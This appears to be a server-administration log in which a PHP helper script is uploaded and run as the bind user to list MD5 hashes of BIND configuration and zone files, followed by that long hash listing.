MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-30 17:34:18: Establishing a connection
2026-04-30 17:34:18: 

PUT: /tmp/pkp737457

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-30 17:34:18: 

runuser -l bind -s /bin/bash -c '/tmp/pkp737457; rm /tmp/pkp737457'

2026-04-30 17:34:18: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
